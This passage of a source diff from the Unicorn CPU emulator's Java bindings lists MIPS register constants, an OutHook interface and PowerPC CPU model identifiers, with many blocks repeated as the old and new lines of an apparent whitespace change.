public static final int UC_MIPS_REG_W22 = 119;
public static final int UC_MIPS_REG_W23 = 120;
public static final int UC_MIPS_REG_W24 = 121;
public static final int UC_MIPS_REG_W25 = 122;
public static final int UC_MIPS_REG_W26 = 123;
public static final int UC_MIPS_REG_W27 = 124;
public static final int UC_MIPS_REG_W28 = 125;
public static final int UC_MIPS_REG_W29 = 126;
public static final int UC_MIPS_REG_W30 = 127;
public static final int UC_MIPS_REG_W31 = 128;
public static final int UC_MIPS_REG_HI = 129;
public static final int UC_MIPS_REG_LO = 130;
public static final int UC_MIPS_REG_P0 = 131;
public static final int UC_MIPS_REG_P1 = 132;
public static final int UC_MIPS_REG_P2 = 133;
public static final int UC_MIPS_REG_MPL0 = 134;
public static final int UC_MIPS_REG_MPL1 = 135;
public static final int UC_MIPS_REG_MPL2 = 136;
public static final int UC_MIPS_REG_CP0_CONFIG3 = 137;
public static final int UC_MIPS_REG_CP0_USERLOCAL = 138;
public static final int UC_MIPS_REG_CP0_STATUS = 139;
public static final int UC_MIPS_REG_ENDING = 140;
public static final int UC_MIPS_REG_ZERO = 2;
public static final int UC_MIPS_REG_AT = 3;
public static final int UC_MIPS_REG_V0 = 4;
public static final int UC_MIPS_REG_V1 = 5;
public static final int UC_MIPS_REG_A0 = 6;
public static final int UC_MIPS_REG_A1 = 7;
public static final int UC_MIPS_REG_A2 = 8;
public static final int UC_MIPS_REG_A3 = 9;
public static final int UC_MIPS_REG_T0 = 10;
public static final int UC_MIPS_REG_T1 = 11;
public static final int UC_MIPS_REG_T2 = 12;
public static final int UC_MIPS_REG_T3 = 13;
public static final int UC_MIPS_REG_T4 = 14;
public static final int UC_MIPS_REG_T5 = 15;
public static final int UC_MIPS_REG_T6 = 16;
public static final int UC_MIPS_REG_T7 = 17;
public static final int UC_MIPS_REG_S0 = 18;
public static final int UC_MIPS_REG_S1 = 19;
public static final int UC_MIPS_REG_S2 = 20;
public static final int UC_MIPS_REG_S3 = 21;
public static final int UC_MIPS_REG_S4 = 22;
public static final int UC_MIPS_REG_S5 = 23;
public static final int UC_MIPS_REG_S6 = 24;
public static final int UC_MIPS_REG_S7 = 25;
public static final int UC_MIPS_REG_T8 = 26;
public static final int UC_MIPS_REG_T9 = 27;
public static final int UC_MIPS_REG_K0 = 28;
public static final int UC_MIPS_REG_K1 = 29;
public static final int UC_MIPS_REG_GP = 30;
public static final int UC_MIPS_REG_SP = 31;
public static final int UC_MIPS_REG_FP = 32;
public static final int UC_MIPS_REG_S8 = 32;
public static final int UC_MIPS_REG_RA = 33;
public static final int UC_MIPS_REG_HI0 = 45;
public static final int UC_MIPS_REG_HI1 = 46;
public static final int UC_MIPS_REG_HI2 = 47;
public static final int UC_MIPS_REG_HI3 = 48;
public static final int UC_MIPS_REG_LO0 = 45;
public static final int UC_MIPS_REG_LO1 = 46;
public static final int UC_MIPS_REG_LO2 = 47;
public static final int UC_MIPS_REG_LO3 = 48;
// AFPR128
public static final int UC_MIPS_REG_W0 = 97;
public static final int UC_MIPS_REG_W1 = 98;
public static final int UC_MIPS_REG_W2 = 99;
public static final int UC_MIPS_REG_W3 = 100;
public static final int UC_MIPS_REG_W4 = 101;
public static final int UC_MIPS_REG_W5 = 102;
public static final int UC_MIPS_REG_W6 = 103;
public static final int UC_MIPS_REG_W7 = 104;
public static final int UC_MIPS_REG_W8 = 105;
public static final int UC_MIPS_REG_W9 = 106;
public static final int UC_MIPS_REG_W10 = 107;
public static final int UC_MIPS_REG_W11 = 108;
public static final int UC_MIPS_REG_W12 = 109;
public static final int UC_MIPS_REG_W13 = 110;
public static final int UC_MIPS_REG_W14 = 111;
public static final int UC_MIPS_REG_W15 = 112;
public static final int UC_MIPS_REG_W16 = 113;
public static final int UC_MIPS_REG_W17 = 114;
public static final int UC_MIPS_REG_W18 = 115;
public static final int UC_MIPS_REG_W19 = 116;
public static final int UC_MIPS_REG_W20 = 117;
public static final int UC_MIPS_REG_W21 = 118;
public static final int UC_MIPS_REG_W22 = 119;
public static final int UC_MIPS_REG_W23 = 120;
public static final int UC_MIPS_REG_W24 = 121;
public static final int UC_MIPS_REG_W25 = 122;
public static final int UC_MIPS_REG_W26 = 123;
public static final int UC_MIPS_REG_W27 = 124;
public static final int UC_MIPS_REG_W28 = 125;
public static final int UC_MIPS_REG_W29 = 126;
public static final int UC_MIPS_REG_W30 = 127;
public static final int UC_MIPS_REG_W31 = 128;
public static final int UC_MIPS_REG_HI = 129;
public static final int UC_MIPS_REG_LO = 130;
public static final int UC_MIPS_REG_P0 = 131;
public static final int UC_MIPS_REG_P1 = 132;
public static final int UC_MIPS_REG_P2 = 133;
public static final int UC_MIPS_REG_MPL0 = 134;
public static final int UC_MIPS_REG_MPL1 = 135;
public static final int UC_MIPS_REG_MPL2 = 136;
public static final int UC_MIPS_REG_CP0_CONFIG3 = 137;
public static final int UC_MIPS_REG_CP0_USERLOCAL = 138;
public static final int UC_MIPS_REG_CP0_STATUS = 139;
public static final int UC_MIPS_REG_ENDING = 140;
public static final int UC_MIPS_REG_ZERO = 2;
public static final int UC_MIPS_REG_AT = 3;
public static final int UC_MIPS_REG_V0 = 4;
public static final int UC_MIPS_REG_V1 = 5;
public static final int UC_MIPS_REG_A0 = 6;
public static final int UC_MIPS_REG_A1 = 7;
public static final int UC_MIPS_REG_A2 = 8;
public static final int UC_MIPS_REG_A3 = 9;
public static final int UC_MIPS_REG_T0 = 10;
public static final int UC_MIPS_REG_T1 = 11;
public static final int UC_MIPS_REG_T2 = 12;
public static final int UC_MIPS_REG_T3 = 13;
public static final int UC_MIPS_REG_T4 = 14;
public static final int UC_MIPS_REG_T5 = 15;
public static final int UC_MIPS_REG_T6 = 16;
public static final int UC_MIPS_REG_T7 = 17;
public static final int UC_MIPS_REG_S0 = 18;
public static final int UC_MIPS_REG_S1 = 19;
public static final int UC_MIPS_REG_S2 = 20;
public static final int UC_MIPS_REG_S3 = 21;
public static final int UC_MIPS_REG_S4 = 22;
public static final int UC_MIPS_REG_S5 = 23;
public static final int UC_MIPS_REG_S6 = 24;
public static final int UC_MIPS_REG_S7 = 25;
public static final int UC_MIPS_REG_T8 = 26;
public static final int UC_MIPS_REG_T9 = 27;
public static final int UC_MIPS_REG_K0 = 28;
public static final int UC_MIPS_REG_K1 = 29;
public static final int UC_MIPS_REG_GP = 30;
public static final int UC_MIPS_REG_SP = 31;
public static final int UC_MIPS_REG_FP = 32;
public static final int UC_MIPS_REG_S8 = 32;
public static final int UC_MIPS_REG_RA = 33;
public static final int UC_MIPS_REG_HI0 = 45;
public static final int UC_MIPS_REG_HI1 = 46;
public static final int UC_MIPS_REG_HI2 = 47;
public static final int UC_MIPS_REG_HI3 = 48;
public static final int UC_MIPS_REG_LO0 = 45;
public static final int UC_MIPS_REG_LO1 = 46;
public static final int UC_MIPS_REG_LO2 = 47;
public static final int UC_MIPS_REG_LO3 = 48;
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface OutHook extends Hook {
public void hook(Unicorn u, int port, int size, int value, Object user);
public void hook(Unicorn u, int port, int size, int value, Object user);
}

View File

@@ -4,407 +4,407 @@ package unicorn;
public interface PpcConst {
// PPC CPU
// PPC CPU
public static final int UC_CPU_PPC32_401 = 0;
public static final int UC_CPU_PPC32_401A1 = 1;
public static final int UC_CPU_PPC32_401B2 = 2;
public static final int UC_CPU_PPC32_401C2 = 3;
public static final int UC_CPU_PPC32_401D2 = 4;
public static final int UC_CPU_PPC32_401E2 = 5;
public static final int UC_CPU_PPC32_401F2 = 6;
public static final int UC_CPU_PPC32_401G2 = 7;
public static final int UC_CPU_PPC32_IOP480 = 8;
public static final int UC_CPU_PPC32_COBRA = 9;
public static final int UC_CPU_PPC32_403GA = 10;
public static final int UC_CPU_PPC32_403GB = 11;
public static final int UC_CPU_PPC32_403GC = 12;
public static final int UC_CPU_PPC32_403GCX = 13;
public static final int UC_CPU_PPC32_405D2 = 14;
public static final int UC_CPU_PPC32_405D4 = 15;
public static final int UC_CPU_PPC32_405CRA = 16;
public static final int UC_CPU_PPC32_405CRB = 17;
public static final int UC_CPU_PPC32_405CRC = 18;
public static final int UC_CPU_PPC32_405EP = 19;
public static final int UC_CPU_PPC32_405EZ = 20;
public static final int UC_CPU_PPC32_405GPA = 21;
public static final int UC_CPU_PPC32_405GPB = 22;
public static final int UC_CPU_PPC32_405GPC = 23;
public static final int UC_CPU_PPC32_405GPD = 24;
public static final int UC_CPU_PPC32_405GPR = 25;
public static final int UC_CPU_PPC32_405LP = 26;
public static final int UC_CPU_PPC32_NPE405H = 27;
public static final int UC_CPU_PPC32_NPE405H2 = 28;
public static final int UC_CPU_PPC32_NPE405L = 29;
public static final int UC_CPU_PPC32_NPE4GS3 = 30;
public static final int UC_CPU_PPC32_STB03 = 31;
public static final int UC_CPU_PPC32_STB04 = 32;
public static final int UC_CPU_PPC32_STB25 = 33;
public static final int UC_CPU_PPC32_X2VP4 = 34;
public static final int UC_CPU_PPC32_X2VP20 = 35;
public static final int UC_CPU_PPC32_440_XILINX = 36;
public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37;
public static final int UC_CPU_PPC32_440EPA = 38;
public static final int UC_CPU_PPC32_440EPB = 39;
public static final int UC_CPU_PPC32_440EPX = 40;
public static final int UC_CPU_PPC32_460EXB = 41;
public static final int UC_CPU_PPC32_G2 = 42;
public static final int UC_CPU_PPC32_G2H4 = 43;
public static final int UC_CPU_PPC32_G2GP = 44;
public static final int UC_CPU_PPC32_G2LS = 45;
public static final int UC_CPU_PPC32_G2HIP3 = 46;
public static final int UC_CPU_PPC32_G2HIP4 = 47;
public static final int UC_CPU_PPC32_MPC603 = 48;
public static final int UC_CPU_PPC32_G2LE = 49;
public static final int UC_CPU_PPC32_G2LEGP = 50;
public static final int UC_CPU_PPC32_G2LELS = 51;
public static final int UC_CPU_PPC32_G2LEGP1 = 52;
public static final int UC_CPU_PPC32_G2LEGP3 = 53;
public static final int UC_CPU_PPC32_MPC5200_V10 = 54;
public static final int UC_CPU_PPC32_MPC5200_V11 = 55;
public static final int UC_CPU_PPC32_MPC5200_V12 = 56;
public static final int UC_CPU_PPC32_MPC5200B_V20 = 57;
public static final int UC_CPU_PPC32_MPC5200B_V21 = 58;
public static final int UC_CPU_PPC32_E200Z5 = 59;
public static final int UC_CPU_PPC32_E200Z6 = 60;
public static final int UC_CPU_PPC32_E300C1 = 61;
public static final int UC_CPU_PPC32_E300C2 = 62;
public static final int UC_CPU_PPC32_E300C3 = 63;
public static final int UC_CPU_PPC32_E300C4 = 64;
public static final int UC_CPU_PPC32_MPC8343 = 65;
public static final int UC_CPU_PPC32_MPC8343A = 66;
public static final int UC_CPU_PPC32_MPC8343E = 67;
public static final int UC_CPU_PPC32_MPC8343EA = 68;
public static final int UC_CPU_PPC32_MPC8347T = 69;
public static final int UC_CPU_PPC32_MPC8347P = 70;
public static final int UC_CPU_PPC32_MPC8347AT = 71;
public static final int UC_CPU_PPC32_MPC8347AP = 72;
public static final int UC_CPU_PPC32_MPC8347ET = 73;
public static final int UC_CPU_PPC32_MPC8347EP = 74;
public static final int UC_CPU_PPC32_MPC8347EAT = 75;
public static final int UC_CPU_PPC32_MPC8347EAP = 76;
public static final int UC_CPU_PPC32_MPC8349 = 77;
public static final int UC_CPU_PPC32_MPC8349A = 78;
public static final int UC_CPU_PPC32_MPC8349E = 79;
public static final int UC_CPU_PPC32_MPC8349EA = 80;
public static final int UC_CPU_PPC32_MPC8377 = 81;
public static final int UC_CPU_PPC32_MPC8377E = 82;
public static final int UC_CPU_PPC32_MPC8378 = 83;
public static final int UC_CPU_PPC32_MPC8378E = 84;
public static final int UC_CPU_PPC32_MPC8379 = 85;
public static final int UC_CPU_PPC32_MPC8379E = 86;
public static final int UC_CPU_PPC32_E500_V10 = 87;
public static final int UC_CPU_PPC32_E500_V20 = 88;
public static final int UC_CPU_PPC32_E500V2_V10 = 89;
public static final int UC_CPU_PPC32_E500V2_V20 = 90;
public static final int UC_CPU_PPC32_E500V2_V21 = 91;
public static final int UC_CPU_PPC32_E500V2_V22 = 92;
public static final int UC_CPU_PPC32_E500V2_V30 = 93;
public static final int UC_CPU_PPC32_E500MC = 94;
public static final int UC_CPU_PPC32_MPC8533_V10 = 95;
public static final int UC_CPU_PPC32_MPC8533_V11 = 96;
public static final int UC_CPU_PPC32_MPC8533E_V10 = 97;
public static final int UC_CPU_PPC32_MPC8533E_V11 = 98;
public static final int UC_CPU_PPC32_MPC8540_V10 = 99;
public static final int UC_CPU_PPC32_MPC8540_V20 = 100;
public static final int UC_CPU_PPC32_MPC8540_V21 = 101;
public static final int UC_CPU_PPC32_MPC8541_V10 = 102;
public static final int UC_CPU_PPC32_MPC8541_V11 = 103;
public static final int UC_CPU_PPC32_MPC8541E_V10 = 104;
public static final int UC_CPU_PPC32_MPC8541E_V11 = 105;
public static final int UC_CPU_PPC32_MPC8543_V10 = 106;
public static final int UC_CPU_PPC32_MPC8543_V11 = 107;
public static final int UC_CPU_PPC32_MPC8543_V20 = 108;
public static final int UC_CPU_PPC32_MPC8543_V21 = 109;
public static final int UC_CPU_PPC32_MPC8543E_V10 = 110;
public static final int UC_CPU_PPC32_MPC8543E_V11 = 111;
public static final int UC_CPU_PPC32_MPC8543E_V20 = 112;
public static final int UC_CPU_PPC32_MPC8543E_V21 = 113;
public static final int UC_CPU_PPC32_MPC8544_V10 = 114;
public static final int UC_CPU_PPC32_MPC8544_V11 = 115;
public static final int UC_CPU_PPC32_MPC8544E_V10 = 116;
public static final int UC_CPU_PPC32_MPC8544E_V11 = 117;
public static final int UC_CPU_PPC32_MPC8545_V20 = 118;
public static final int UC_CPU_PPC32_MPC8545_V21 = 119;
public static final int UC_CPU_PPC32_MPC8545E_V20 = 120;
public static final int UC_CPU_PPC32_MPC8545E_V21 = 121;
public static final int UC_CPU_PPC32_MPC8547E_V20 = 122;
public static final int UC_CPU_PPC32_MPC8547E_V21 = 123;
public static final int UC_CPU_PPC32_MPC8548_V10 = 124;
public static final int UC_CPU_PPC32_MPC8548_V11 = 125;
public static final int UC_CPU_PPC32_MPC8548_V20 = 126;
public static final int UC_CPU_PPC32_MPC8548_V21 = 127;
public static final int UC_CPU_PPC32_MPC8548E_V10 = 128;
public static final int UC_CPU_PPC32_MPC8548E_V11 = 129;
public static final int UC_CPU_PPC32_MPC8548E_V20 = 130;
public static final int UC_CPU_PPC32_MPC8548E_V21 = 131;
public static final int UC_CPU_PPC32_MPC8555_V10 = 132;
public static final int UC_CPU_PPC32_MPC8555_V11 = 133;
public static final int UC_CPU_PPC32_MPC8555E_V10 = 134;
public static final int UC_CPU_PPC32_MPC8555E_V11 = 135;
public static final int UC_CPU_PPC32_MPC8560_V10 = 136;
public static final int UC_CPU_PPC32_MPC8560_V20 = 137;
public static final int UC_CPU_PPC32_MPC8560_V21 = 138;
public static final int UC_CPU_PPC32_MPC8567 = 139;
public static final int UC_CPU_PPC32_MPC8567E = 140;
public static final int UC_CPU_PPC32_MPC8568 = 141;
public static final int UC_CPU_PPC32_MPC8568E = 142;
public static final int UC_CPU_PPC32_MPC8572 = 143;
public static final int UC_CPU_PPC32_MPC8572E = 144;
public static final int UC_CPU_PPC32_E600 = 145;
public static final int UC_CPU_PPC32_MPC8610 = 146;
public static final int UC_CPU_PPC32_MPC8641 = 147;
public static final int UC_CPU_PPC32_MPC8641D = 148;
public static final int UC_CPU_PPC32_601_V0 = 149;
public static final int UC_CPU_PPC32_601_V1 = 150;
public static final int UC_CPU_PPC32_601_V2 = 151;
public static final int UC_CPU_PPC32_602 = 152;
public static final int UC_CPU_PPC32_603 = 153;
public static final int UC_CPU_PPC32_603E_V1_1 = 154;
public static final int UC_CPU_PPC32_603E_V1_2 = 155;
public static final int UC_CPU_PPC32_603E_V1_3 = 156;
public static final int UC_CPU_PPC32_603E_V1_4 = 157;
public static final int UC_CPU_PPC32_603E_V2_2 = 158;
public static final int UC_CPU_PPC32_603E_V3 = 159;
public static final int UC_CPU_PPC32_603E_V4 = 160;
public static final int UC_CPU_PPC32_603E_V4_1 = 161;
public static final int UC_CPU_PPC32_603E7 = 162;
public static final int UC_CPU_PPC32_603E7T = 163;
public static final int UC_CPU_PPC32_603E7V = 164;
public static final int UC_CPU_PPC32_603E7V1 = 165;
public static final int UC_CPU_PPC32_603E7V2 = 166;
public static final int UC_CPU_PPC32_603P = 167;
public static final int UC_CPU_PPC32_604 = 168;
public static final int UC_CPU_PPC32_604E_V1_0 = 169;
public static final int UC_CPU_PPC32_604E_V2_2 = 170;
public static final int UC_CPU_PPC32_604E_V2_4 = 171;
public static final int UC_CPU_PPC32_604R = 172;
public static final int UC_CPU_PPC32_740_V1_0 = 173;
public static final int UC_CPU_PPC32_750_V1_0 = 174;
public static final int UC_CPU_PPC32_740_V2_0 = 175;
public static final int UC_CPU_PPC32_750_V2_0 = 176;
public static final int UC_CPU_PPC32_740_V2_1 = 177;
public static final int UC_CPU_PPC32_750_V2_1 = 178;
public static final int UC_CPU_PPC32_740_V2_2 = 179;
public static final int UC_CPU_PPC32_750_V2_2 = 180;
public static final int UC_CPU_PPC32_740_V3_0 = 181;
public static final int UC_CPU_PPC32_750_V3_0 = 182;
public static final int UC_CPU_PPC32_740_V3_1 = 183;
public static final int UC_CPU_PPC32_750_V3_1 = 184;
public static final int UC_CPU_PPC32_740E = 185;
public static final int UC_CPU_PPC32_750E = 186;
public static final int UC_CPU_PPC32_740P = 187;
public static final int UC_CPU_PPC32_750P = 188;
public static final int UC_CPU_PPC32_750CL_V1_0 = 189;
public static final int UC_CPU_PPC32_750CL_V2_0 = 190;
public static final int UC_CPU_PPC32_750CX_V1_0 = 191;
public static final int UC_CPU_PPC32_750CX_V2_0 = 192;
public static final int UC_CPU_PPC32_750CX_V2_1 = 193;
public static final int UC_CPU_PPC32_750CX_V2_2 = 194;
public static final int UC_CPU_PPC32_750CXE_V2_1 = 195;
public static final int UC_CPU_PPC32_750CXE_V2_2 = 196;
public static final int UC_CPU_PPC32_750CXE_V2_3 = 197;
public static final int UC_CPU_PPC32_750CXE_V2_4 = 198;
public static final int UC_CPU_PPC32_750CXE_V2_4B = 199;
public static final int UC_CPU_PPC32_750CXE_V3_0 = 200;
public static final int UC_CPU_PPC32_750CXE_V3_1 = 201;
public static final int UC_CPU_PPC32_750CXE_V3_1B = 202;
public static final int UC_CPU_PPC32_750CXR = 203;
public static final int UC_CPU_PPC32_750FL = 204;
public static final int UC_CPU_PPC32_750FX_V1_0 = 205;
public static final int UC_CPU_PPC32_750FX_V2_0 = 206;
public static final int UC_CPU_PPC32_750FX_V2_1 = 207;
public static final int UC_CPU_PPC32_750FX_V2_2 = 208;
public static final int UC_CPU_PPC32_750FX_V2_3 = 209;
public static final int UC_CPU_PPC32_750GL = 210;
public static final int UC_CPU_PPC32_750GX_V1_0 = 211;
public static final int UC_CPU_PPC32_750GX_V1_1 = 212;
public static final int UC_CPU_PPC32_750GX_V1_2 = 213;
public static final int UC_CPU_PPC32_750L_V2_0 = 214;
public static final int UC_CPU_PPC32_750L_V2_1 = 215;
public static final int UC_CPU_PPC32_750L_V2_2 = 216;
public static final int UC_CPU_PPC32_750L_V3_0 = 217;
public static final int UC_CPU_PPC32_750L_V3_2 = 218;
public static final int UC_CPU_PPC32_745_V1_0 = 219;
public static final int UC_CPU_PPC32_755_V1_0 = 220;
public static final int UC_CPU_PPC32_745_V1_1 = 221;
public static final int UC_CPU_PPC32_755_V1_1 = 222;
public static final int UC_CPU_PPC32_745_V2_0 = 223;
public static final int UC_CPU_PPC32_755_V2_0 = 224;
public static final int UC_CPU_PPC32_745_V2_1 = 225;
public static final int UC_CPU_PPC32_755_V2_1 = 226;
public static final int UC_CPU_PPC32_745_V2_2 = 227;
public static final int UC_CPU_PPC32_755_V2_2 = 228;
public static final int UC_CPU_PPC32_745_V2_3 = 229;
public static final int UC_CPU_PPC32_755_V2_3 = 230;
public static final int UC_CPU_PPC32_745_V2_4 = 231;
public static final int UC_CPU_PPC32_755_V2_4 = 232;
public static final int UC_CPU_PPC32_745_V2_5 = 233;
public static final int UC_CPU_PPC32_755_V2_5 = 234;
public static final int UC_CPU_PPC32_745_V2_6 = 235;
public static final int UC_CPU_PPC32_755_V2_6 = 236;
public static final int UC_CPU_PPC32_745_V2_7 = 237;
public static final int UC_CPU_PPC32_755_V2_7 = 238;
public static final int UC_CPU_PPC32_745_V2_8 = 239;
public static final int UC_CPU_PPC32_755_V2_8 = 240;
public static final int UC_CPU_PPC32_7400_V1_0 = 241;
public static final int UC_CPU_PPC32_7400_V1_1 = 242;
public static final int UC_CPU_PPC32_7400_V2_0 = 243;
public static final int UC_CPU_PPC32_7400_V2_1 = 244;
public static final int UC_CPU_PPC32_7400_V2_2 = 245;
public static final int UC_CPU_PPC32_7400_V2_6 = 246;
public static final int UC_CPU_PPC32_7400_V2_7 = 247;
public static final int UC_CPU_PPC32_7400_V2_8 = 248;
public static final int UC_CPU_PPC32_7400_V2_9 = 249;
public static final int UC_CPU_PPC32_7410_V1_0 = 250;
public static final int UC_CPU_PPC32_7410_V1_1 = 251;
public static final int UC_CPU_PPC32_7410_V1_2 = 252;
public static final int UC_CPU_PPC32_7410_V1_3 = 253;
public static final int UC_CPU_PPC32_7410_V1_4 = 254;
public static final int UC_CPU_PPC32_7448_V1_0 = 255;
public static final int UC_CPU_PPC32_7448_V1_1 = 256;
public static final int UC_CPU_PPC32_7448_V2_0 = 257;
public static final int UC_CPU_PPC32_7448_V2_1 = 258;
public static final int UC_CPU_PPC32_7450_V1_0 = 259;
public static final int UC_CPU_PPC32_7450_V1_1 = 260;
public static final int UC_CPU_PPC32_7450_V1_2 = 261;
public static final int UC_CPU_PPC32_7450_V2_0 = 262;
public static final int UC_CPU_PPC32_7450_V2_1 = 263;
public static final int UC_CPU_PPC32_7441_V2_1 = 264;
public static final int UC_CPU_PPC32_7441_V2_3 = 265;
public static final int UC_CPU_PPC32_7451_V2_3 = 266;
public static final int UC_CPU_PPC32_7441_V2_10 = 267;
public static final int UC_CPU_PPC32_7451_V2_10 = 268;
public static final int UC_CPU_PPC32_7445_V1_0 = 269;
public static final int UC_CPU_PPC32_7455_V1_0 = 270;
public static final int UC_CPU_PPC32_7445_V2_1 = 271;
public static final int UC_CPU_PPC32_7455_V2_1 = 272;
public static final int UC_CPU_PPC32_7445_V3_2 = 273;
public static final int UC_CPU_PPC32_7455_V3_2 = 274;
public static final int UC_CPU_PPC32_7445_V3_3 = 275;
public static final int UC_CPU_PPC32_7455_V3_3 = 276;
public static final int UC_CPU_PPC32_7445_V3_4 = 277;
public static final int UC_CPU_PPC32_7455_V3_4 = 278;
public static final int UC_CPU_PPC32_7447_V1_0 = 279;
public static final int UC_CPU_PPC32_7457_V1_0 = 280;
public static final int UC_CPU_PPC32_7447_V1_1 = 281;
public static final int UC_CPU_PPC32_7457_V1_1 = 282;
public static final int UC_CPU_PPC32_7457_V1_2 = 283;
public static final int UC_CPU_PPC32_7447A_V1_0 = 284;
public static final int UC_CPU_PPC32_7457A_V1_0 = 285;
public static final int UC_CPU_PPC32_7447A_V1_1 = 286;
public static final int UC_CPU_PPC32_7457A_V1_1 = 287;
public static final int UC_CPU_PPC32_7447A_V1_2 = 288;
public static final int UC_CPU_PPC32_7457A_V1_2 = 289;
public static final int UC_CPU_PPC32_ENDING = 290;
public static final int UC_CPU_PPC32_401 = 0;
public static final int UC_CPU_PPC32_401A1 = 1;
public static final int UC_CPU_PPC32_401B2 = 2;
public static final int UC_CPU_PPC32_401C2 = 3;
public static final int UC_CPU_PPC32_401D2 = 4;
public static final int UC_CPU_PPC32_401E2 = 5;
public static final int UC_CPU_PPC32_401F2 = 6;
public static final int UC_CPU_PPC32_401G2 = 7;
public static final int UC_CPU_PPC32_IOP480 = 8;
public static final int UC_CPU_PPC32_COBRA = 9;
public static final int UC_CPU_PPC32_403GA = 10;
public static final int UC_CPU_PPC32_403GB = 11;
public static final int UC_CPU_PPC32_403GC = 12;
public static final int UC_CPU_PPC32_403GCX = 13;
public static final int UC_CPU_PPC32_405D2 = 14;
public static final int UC_CPU_PPC32_405D4 = 15;
public static final int UC_CPU_PPC32_405CRA = 16;
public static final int UC_CPU_PPC32_405CRB = 17;
public static final int UC_CPU_PPC32_405CRC = 18;
public static final int UC_CPU_PPC32_405EP = 19;
public static final int UC_CPU_PPC32_405EZ = 20;
public static final int UC_CPU_PPC32_405GPA = 21;
public static final int UC_CPU_PPC32_405GPB = 22;
public static final int UC_CPU_PPC32_405GPC = 23;
public static final int UC_CPU_PPC32_405GPD = 24;
public static final int UC_CPU_PPC32_405GPR = 25;
public static final int UC_CPU_PPC32_405LP = 26;
public static final int UC_CPU_PPC32_NPE405H = 27;
public static final int UC_CPU_PPC32_NPE405H2 = 28;
public static final int UC_CPU_PPC32_NPE405L = 29;
public static final int UC_CPU_PPC32_NPE4GS3 = 30;
public static final int UC_CPU_PPC32_STB03 = 31;
public static final int UC_CPU_PPC32_STB04 = 32;
public static final int UC_CPU_PPC32_STB25 = 33;
public static final int UC_CPU_PPC32_X2VP4 = 34;
public static final int UC_CPU_PPC32_X2VP20 = 35;
public static final int UC_CPU_PPC32_440_XILINX = 36;
public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37;
public static final int UC_CPU_PPC32_440EPA = 38;
public static final int UC_CPU_PPC32_440EPB = 39;
public static final int UC_CPU_PPC32_440EPX = 40;
public static final int UC_CPU_PPC32_460EXB = 41;
public static final int UC_CPU_PPC32_G2 = 42;
public static final int UC_CPU_PPC32_G2H4 = 43;
public static final int UC_CPU_PPC32_G2GP = 44;
public static final int UC_CPU_PPC32_G2LS = 45;
public static final int UC_CPU_PPC32_G2HIP3 = 46;
public static final int UC_CPU_PPC32_G2HIP4 = 47;
public static final int UC_CPU_PPC32_MPC603 = 48;
public static final int UC_CPU_PPC32_G2LE = 49;
public static final int UC_CPU_PPC32_G2LEGP = 50;
public static final int UC_CPU_PPC32_G2LELS = 51;
public static final int UC_CPU_PPC32_G2LEGP1 = 52;
public static final int UC_CPU_PPC32_G2LEGP3 = 53;
public static final int UC_CPU_PPC32_MPC5200_V10 = 54;
public static final int UC_CPU_PPC32_MPC5200_V11 = 55;
public static final int UC_CPU_PPC32_MPC5200_V12 = 56;
public static final int UC_CPU_PPC32_MPC5200B_V20 = 57;
public static final int UC_CPU_PPC32_MPC5200B_V21 = 58;
public static final int UC_CPU_PPC32_E200Z5 = 59;
public static final int UC_CPU_PPC32_E200Z6 = 60;
public static final int UC_CPU_PPC32_E300C1 = 61;
public static final int UC_CPU_PPC32_E300C2 = 62;
public static final int UC_CPU_PPC32_E300C3 = 63;
public static final int UC_CPU_PPC32_E300C4 = 64;
public static final int UC_CPU_PPC32_MPC8343 = 65;
public static final int UC_CPU_PPC32_MPC8343A = 66;
public static final int UC_CPU_PPC32_MPC8343E = 67;
public static final int UC_CPU_PPC32_MPC8343EA = 68;
public static final int UC_CPU_PPC32_MPC8347T = 69;
public static final int UC_CPU_PPC32_MPC8347P = 70;
public static final int UC_CPU_PPC32_MPC8347AT = 71;
public static final int UC_CPU_PPC32_MPC8347AP = 72;
public static final int UC_CPU_PPC32_MPC8347ET = 73;
public static final int UC_CPU_PPC32_MPC8347EP = 74;
public static final int UC_CPU_PPC32_MPC8347EAT = 75;
public static final int UC_CPU_PPC32_MPC8347EAP = 76;
public static final int UC_CPU_PPC32_MPC8349 = 77;
public static final int UC_CPU_PPC32_MPC8349A = 78;
public static final int UC_CPU_PPC32_MPC8349E = 79;
public static final int UC_CPU_PPC32_MPC8349EA = 80;
public static final int UC_CPU_PPC32_MPC8377 = 81;
public static final int UC_CPU_PPC32_MPC8377E = 82;
public static final int UC_CPU_PPC32_MPC8378 = 83;
public static final int UC_CPU_PPC32_MPC8378E = 84;
public static final int UC_CPU_PPC32_MPC8379 = 85;
public static final int UC_CPU_PPC32_MPC8379E = 86;
public static final int UC_CPU_PPC32_E500_V10 = 87;
public static final int UC_CPU_PPC32_E500_V20 = 88;
public static final int UC_CPU_PPC32_E500V2_V10 = 89;
public static final int UC_CPU_PPC32_E500V2_V20 = 90;
public static final int UC_CPU_PPC32_E500V2_V21 = 91;
public static final int UC_CPU_PPC32_E500V2_V22 = 92;
public static final int UC_CPU_PPC32_E500V2_V30 = 93;
public static final int UC_CPU_PPC32_E500MC = 94;
public static final int UC_CPU_PPC32_MPC8533_V10 = 95;
public static final int UC_CPU_PPC32_MPC8533_V11 = 96;
public static final int UC_CPU_PPC32_MPC8533E_V10 = 97;
public static final int UC_CPU_PPC32_MPC8533E_V11 = 98;
public static final int UC_CPU_PPC32_MPC8540_V10 = 99;
public static final int UC_CPU_PPC32_MPC8540_V20 = 100;
public static final int UC_CPU_PPC32_MPC8540_V21 = 101;
public static final int UC_CPU_PPC32_MPC8541_V10 = 102;
public static final int UC_CPU_PPC32_MPC8541_V11 = 103;
public static final int UC_CPU_PPC32_MPC8541E_V10 = 104;
public static final int UC_CPU_PPC32_MPC8541E_V11 = 105;
public static final int UC_CPU_PPC32_MPC8543_V10 = 106;
public static final int UC_CPU_PPC32_MPC8543_V11 = 107;
public static final int UC_CPU_PPC32_MPC8543_V20 = 108;
public static final int UC_CPU_PPC32_MPC8543_V21 = 109;
public static final int UC_CPU_PPC32_MPC8543E_V10 = 110;
public static final int UC_CPU_PPC32_MPC8543E_V11 = 111;
public static final int UC_CPU_PPC32_MPC8543E_V20 = 112;
public static final int UC_CPU_PPC32_MPC8543E_V21 = 113;
public static final int UC_CPU_PPC32_MPC8544_V10 = 114;
public static final int UC_CPU_PPC32_MPC8544_V11 = 115;
